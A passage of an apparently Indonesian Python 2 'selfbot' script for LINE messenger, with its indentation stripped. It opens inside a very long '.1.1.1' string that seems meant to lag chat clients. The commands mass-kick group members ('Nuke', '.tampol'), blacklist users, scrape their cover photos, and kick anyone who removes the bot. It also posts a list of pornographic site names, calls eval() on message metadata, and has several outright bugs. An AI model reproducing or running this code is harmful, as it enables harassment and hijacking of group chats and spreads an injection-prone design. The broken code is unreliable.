.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1\n\nMakasih Sudah Dilihat :)\nJangan Dikick ampun mzz :v")
elif '.ms ' in msg.text.lower():
cl.sendText(msg.to,"Tunggu...")
try:
songname = msg.text.lower().replace('music ','')
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'Ini Dia Hasilnya\n'
hasil += 'Judul : ' + song[0]
hasil += '\nDurasi : ' + song[1]
hasil += '\nLink Download : ' + song[4]
cl.sendText(msg.to, hasil)
cl.sendText(msg.to, "Tunggu VN Musiknya...")
cl.sendAudioWithURL(msg.to, song[4])
except Exception as njer:
cl.sendText(msg.to, str(njer))
#--------------------------------- YOUTUBE START ----------------------------------#
elif ".yt " in msg.text:
query = msg.text.replace(".yt ","")
with requests.session() as s:
s.headers['user-agent'] = 'Mozilla/5.0'
url = 'http://www.youtube.com/results'
params = {'search_query': query}
r = s.get(url, params=params)
soup = BeautifulSoup(r.content, 'html5lib')
hasil = ""
for a in soup.select('.yt-lockup-title > a[title]'):
if '&list=' not in a['href']:
hasil += ''.join((a['title'],'\nhttp://www.youtube.com' + a['href'],'\n\n'))
cl.sendText(msg.to,hasil)
print '[Command] Youtube Search'
#--------------------------------- YOUTUBE FINISH ----------------------------------#
elif msg.text in ["Glist"]:
gid = cl.getGroupIdsJoined()
h = ""
for i in gid:
h += "[👨👩👧👦] %s\n" % (cl.getGroup(i).name +"→["+str(len(cl.getGroup(i).members))+"]")
cl.sendText(msg.to,"[List Group]\n\n"+ h +"Total Group =" +"["+str(len(gid))+"]")
elif msg.text in ["Invite"]:
if msg.from_ in admin:
wait["ricoinvite"] = True
random.choice(KAC).sendText(msg.to,"Mana kontaknya?")
elif ("Check " in msg.text):
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
mi = cl.getContact(key1)
cl.sendText(msg.to,"Mid:" + key1)
elif "Mid @" in msg.text:
if msg.from_ in admin:
_name = msg.text.replace("Mid @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
cl.sendText(msg.to, g.mid)
else:
pass
elif "mid" == msg.text:
cl.sendText(msg.to,mid)
elif '.ig ' in msg.text.lower():
try:
instagram = msg.text.lower().replace(".instagram ","")
html = requests.get('https://www.instagram.com/' + instagram + '/?')
soup = BeautifulSoup(html.text, 'html5lib')
data = soup.find_all('meta', attrs={'property':'og:description'})
text = data[0].get('content').split()
data1 = soup.find_all('meta', attrs={'property':'og:image'})
text1 = data1[0].get('content').split()
user = "Nama: " + text[-2] + "\n"
user1 = "Username: " + text[-1] + "\n"
followers = "Followers: " + text[0] + "\n"
following = "Following: " + text[2] + "\n"
post = "Post: " + text[4] + "\n"
link = "Link: " + "https://www.instagram.com/" + instagram
detail = "========INSTAGRAM INFO USER========\n"
details = "\n========INSTAGRAM INFO USER========"
cl.sendText(msg.to, detail + user + user1 + followers + following + post + link + details)
cl.sendImageWithURL(msg.to, text1[0])
except Exception as njer:
cl.sendText(msg.to, str(njer))
elif msg.text in ["Bqr"]:
if msg.from_ in admin:
if msg.toType == 2:
group = cl.getGroup(msg.to)
group.preventJoinByTicket = False
cl.updateGroup(group)
if wait["lang"] == "JP":
cl.sendText(msg.to,"Sukses Membuka QR")
else:
cl.sendText(msg.to,"Sukses Membuka QR")
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"It can not be used outside the group ô€œô€„‰👈")
else:
cl.sendText(msg.to,"Can not be used for groups other than ô€œô€„‰")
elif msg.text in ["Tqr"]:
if msg.toType == 2:
group = cl.getGroup(msg.to)
group.preventJoinByTicket = True
cl.updateGroup(group)
if wait["lang"] == "JP":
cl.sendText(msg.to,"Sukses Menutup QR")
else:
cl.sendText(msg.to,"Sukses Menutup QR")
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"It can not be used outside the group 👈")
else:
cl.sendText(msg.to,"Can not be used for groups other than ô€œ")
elif msg.text in ["url","Url"]:
if msg.toType == 2:
g = cl.getGroup(msg.to)
if g.preventJoinByTicket == True:
g.preventJoinByTicket = False
cl.updateGroup(g)
gurl = cl.reissueGroupTicket(msg.to)
cl.sendText(msg.to,"Link QR Grup : \n line://ti/g/" + gurl)
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Hal ini tidak dapat digunakan di luar kelompok")
else:
cl.sendText(msg.to,"Tidak dapat digunakan untuk kelompok selain")
elif msg.text in ["Gurl"]:
if msg.toType == 2:
x = cl.getGroup(msg.to)
if x.preventJoinByTicket == True:
x.preventJoinByTicket = False
cl.updateGroup(x)
gurl = cl.reissueGroupTicket(msg.to)
cl.sendText(msg.to,"Link QR Grup : \n line://ti/g/" + gurl)
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Can't be used outside the group")
else:
cl.sendText(msg.to,"Not for use less than group")
elif msg.text in ["S1glist"]:
gs = cl.getGroupIdsJoined()
L = "☫『 Groups List 』☫\n"
for i in gs:
L += "[⭐] %s \n" % (cl.getGroup(i).name + " | [ " + str(len (cl.getGroup(i).members)) + " ]")
cl.sendText(msg.to, L + "\nTotal Group : [ " + str(len(gs)) +" ]")
elif msg.text in ["S2glist"]:
gs = cl.getGroupIdsJoined()
L = "☫『 Groups List 』☫\n"
for i in gs:
L += "[⭐] %s \n" % (cl.getGroup(i).name + " | [ " + str(len (cl.getGroup(i).members)) + " ]")
cl.sendText(msg.to, L + "\nTotal Group : [ " + str(len(gs)) +" ]")
elif msg.text in ["S3glist"]:
gs = cl.getGroupIdsJoined()
L = "☫『 Groups List 』☫\n"
for i in gs:
L += "[⭐] %s \n" % (cl.getGroup(i).name + " | [ " + str(len (cl.getGroup(i).members)) + " ]")
cl.sendText(msg.to, L + "\nTotal Group : [ " + str(len(gs)) +" ]")
elif msg.text in ["S4glist"]:
gs = cl.getGroupIdsJoined()
L = "☫『 Groups List 』☫\n"
for i in gs:
L += "[⭐] %s \n" % (cl.getGroup(i).name + " | [ " + str(len (cl.getGroup(i).members)) + " ]")
cl.sendText(msg.to, L + "\nTotal Group : [ " + str(len(gs)) +" ]")
elif msg.text in ["S5glist"]:
gs = cl.getGroupIdsJoined()
L = "☫『 Groups List 』☫\n"
for i in gs:
L += "[⭐] %s \n" % (cl.getGroup(i).name + " | [ " + str(len (cl.getGroup(i).members)) + " ]")
cl.sendText(msg.to, L + "\nTotal Group : [ " + str(len(gs)) +" ]")
elif msg.text == "Link bokep":
cl.sendText(msg.to,"nekopoi.host")
cl.sendText(msg.to,"sexvideobokep.com")
cl.sendText(msg.to,"memek.com")
cl.sendText(msg.to,"pornktube.com")
cl.sendText(msg.to,"faketaxi.com")
cl.sendText(msg.to,"videojorok.com")
cl.sendText(msg.to,"watchmygf.mobi")
cl.sendText(msg.to,"xnxx.com")
cl.sendText(msg.to,"pornhd.com")
cl.sendText(msg.to,"xvideos.com")
cl.sendText(msg.to,"vidz7.com")
cl.sendText(msg.to,"m.xhamster.com")
cl.sendText(msg.to,"xxmovies.pro")
cl.sendText(msg.to,"youporn.com")
cl.sendText(msg.to,"pornhub.com")
cl.sendText(msg.to,"anyporn.com")
cl.sendText(msg.to,"hdsexdino.com")
cl.sendText(msg.to,"rubyourdick.com")
cl.sendText(msg.to,"anybunny.mobi")
cl.sendText(msg.to,"cliphunter.com")
cl.sendText(msg.to,"sexloving.net")
cl.sendText(msg.to,"free.goshow.tv")
cl.sendText(msg.to,"eporner.com")
cl.sendText(msg.to,"Pornhd.josex.net")
cl.sendText(msg.to,"m.hqporner.com")
cl.sendText(msg.to,"m.spankbang.com")
cl.sendText(msg.to,"m.4tube.com")
cl.sendText(msg.to,"brazzers.com")
elif msg.text in [".rj"]:
gid = cl.getGroupIdsInvited()
for i in gid:
cl.rejectGroupInvitation(i)
if wait["lang"] == "JP":
cl.sendText(msg.to,"Semua Undangan sudah di Batalkan Boss 😉")
else:
cl.sendText(msg.to,"Done 😉")
#-----------------------------------------------------------#
elif "#leave" in msg.text:
try:
import sys
sys.exit()
except:
pass
#-----------------------------------------------------------#
elif msg.text in ["Responsetime"]:
start = time.time()
cl.sendText(msg.to, "Waiting...")
elapsed_time = time.time() - start
#cl.sendText(msg.to, "%sseconds" % (elapsed_time))
#elapsed_time = time.time() - start
#cl.sendText(msg.to, "%sseconds" % (elapsed_time))
#elapsed_time = time.time() - start
#cl.sendText(msg.to, "%sseconds" % (elapsed_time))
#elapsed_time = time.time() - start
#cl.sendText(msg.to, "%sseconds" % (elapsed_time))
#elapsed_time = time.time() - start
elif msg.text.lower() == '.responsename':
profile = cl.getProfile()
text = profile.displayName
cl.sendText(msg.to, text)
#profile = cl.getProfile()
#text = profile.displayName
#cl.sendText(msg.to, text)
#profile = cl.getProfile()
#text = profile.displayName
#cl.sendText(msg.to, text)
#profile = cl.getProfile()
#text = profile.displayName
#cl.sendText(msg.to, text)
#------------------------------------------------------------------#
elif "Tampol " in msg.text:
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
cl.kickoutFromGroup(msg.to,[target])
cl.sendText(msg.to,"Sukses Menampol Dia!")
except:
pass
elif "Steal home @" in msg.text:
print "[Command]dp executing"
_name = msg.text.replace("Steal home @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = cl.getContact(target)
cu = cl.channel.getCover(target)
path = str(cu)
cl.sendImageWithURL(msg.to, path)
except:
pass
print "[Command]dp executed"
#------------------------------------------------------------------#
elif ("Ban " in msg.text):
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
wait["blacklist"][target] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
cl.sendText(msg.to,"Sukses Banned!")
except:
pass
elif ("Unban " in msg.text):
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
del wait["blacklist"][target]
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f,sort_keys=True, indent=4,ensure_ascii=False)
cl.sendText(msg.to,"Sukses UnBanned!")
except:
pass
elif "Ban all" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
print "ok"
_name = msg.text.replace("Ban all","")
gs = cl.getGroup(msg.to)
cl.sendText(msg.to,"Semua Telah Di Ban")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Maaf")
else:
for target in targets:
if not target in Bots:
try:
wait["blacklist"][target] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
cl.sendText(msg.to,"Sukses Banned!")
except:
cl.sentText(msg.to,"Berhasil Dihapus")
elif "Ban: " in msg.text:
if msg.from_ in admin:
nk0 = msg.text.replace("ban: ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("","")
nk3 = nk2.rstrip()
_name = nk3
gs = cl.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
wait["blacklist"][target] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
cl.sendText(msg.to,"Target Locked")
except:
cl.sendText(msg.to,"Error")
elif "Unban: " in msg.text:
if msg.from_ in admin:
nk0 = msg.text.replace("unban: ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("","")
nk3 = nk2.rstrip()
_name = nk3
gs = cl.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
del wait["blacklist"][target]
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
cl.sendText(msg.to,"Target Unlocked")
except:
cl.sendText(msg.to,"Error")
elif msg.text in ["Clear ban"]:
if msg.from_ in admin:
wait["blacklist"] = {}
cl.sendText(msg.to,"Sukses Membersihkan Daftar Penjahat")
elif msg.text in ["Ban"]:
if msg.from_ in admin:
wait["wblacklist"] = True
cl.sendText(msg.to,"send contact")
elif msg.text in ["Unban"]:
if msg.from_ in admin:
wait["dblacklist"] = True
cl.sendText(msg.to,"send contact")
elif msg.text in [".cb"]:
if msg.from_ in admin:
cl.sendText(msg.to,"Bot Masih On Kok 😊\nMungkin Commandnya ga Berfungsi\n atau Error 😕")
elif msg.text.lower() == 'banlist':
cl.sendText(msg.to,"Tunggu....")
if msg.toType == 2:
group = cl.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
cocoa = ""
for mm in matched_list:
cocoa += "☠️ " +cl.getContact(mm).displayName + "\n"
cl.sendText(msg.to,"Daftar Penjahat\n\n" + cocoa)
elif msg.text in [".bm","banlistmid"]:
if msg.from_ in admin:
if msg.toType == 2:
group = cl.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
cocoa = "[⎈] Mid Banlist [⎈]"
for mm in matched_list:
cocoa += "\n" + mm + "\n"
cl.sendText(msg.to,cocoa + "")
elif msg.text.lower() == '.tampol':
if msg.from_ in admin:
if msg.toType == 2:
group = cl.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
if matched_list == []:
cl.sendText(msg.to,"Tidak ada Daftar Banlist")
return
for jj in matched_list:
try:
cl.kickoutFromGroup(msg.to,[jj])
cl.kickoutFromGroup(msg.to,[jj])
cl.kickoutFromGroup(msg.to,[jj])
cl.kickoutFromGroup(msg.to,[jj])
cl.kickoutFromGroup(msg.to,[jj])
cl.kickoutFromGroup(msg.to,[jj])
print (msg.to,[jj])
except:
pass
elif "Nuke" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
print "ok"
_name = msg.text.replace("Nuke","")
gs = cl.getGroup(msg.to)
cl.sendText(msg.to,"Masih Mauko Sundala")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Tidak ada Member")
cl.sendText(msg.to,"Nothing Bosqu")
else:
for target in targets:
if not target in Bots:
try:
klist=[cl]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
cl.sendText(msg,to,"Hahaha")
cl.sendText(msg,to,"Fakyu Sundala")
#-----------------------------------------------
elif msg.text.lower() == ["Allkuy"]:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
random.choice(KAC).updateGroup(G)
#-----------------------------------------------
elif msg.text in ["Joinall"]:
if msg.from_ in admsa:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.1)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.1)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.1)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.1)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.1)
G = cl.getGroup(msg.to)
G.preventJoinByTicket = True
cl.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
cl.updateGroup(G)
elif msg.text.lower() == 'Sp come':
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
cl.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
cl.updateGroup(G)
#-----------------------------------------------
elif "tgb1 in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
cl.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
cl.updateGroup(G)
#-----------------------------------------------
elif "tgb2 in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
cl.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
cl.updateGroup(G)
#-----------------------------------------------
elif "tgb3 in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
cl.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
cl.updateGroup(G)
#-----------------------------------------------
elif "tgb4 in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
cl.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
cl.updateGroup(G)
#-----------------------------------------------
elif "tgb5 in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
cl.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
cl.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
cl.updateGroup(G)
#-----------------------------------------------
elif msg.text in ["@left"]:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
cl.sendText(msg.to,"Bye Bye " + str(ginfo.name) + " 😘")
cl.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "tgb1 bye" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
cl.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "tgb2 bye" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
cl.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "tgb3 bye" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
cl.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "tgb4 bye" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
cl.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "tgb5 bye" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
cl.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif msg.text in ["kam","wc","welcome","Wc"]:
ginfo = cl.getGroup(msg.to)
cl.sendText(msg.to,"Selamat Datang di Grup " + str(ginfo.name))
cl.sendText(msg.to,"Yang Buat Grup " + str(ginfo.name) + " Si:\n" + ginfo.creator.displayName )
#-----------------------------------------------
if op.type == 19:
try:
if op.param3 in mid:
if op.param2 in kimid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
cl.updateGroup(G)
wait["blacklist"][op.param2] = True
elif op.param3 in kimid:
if op.param2 in ki2mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
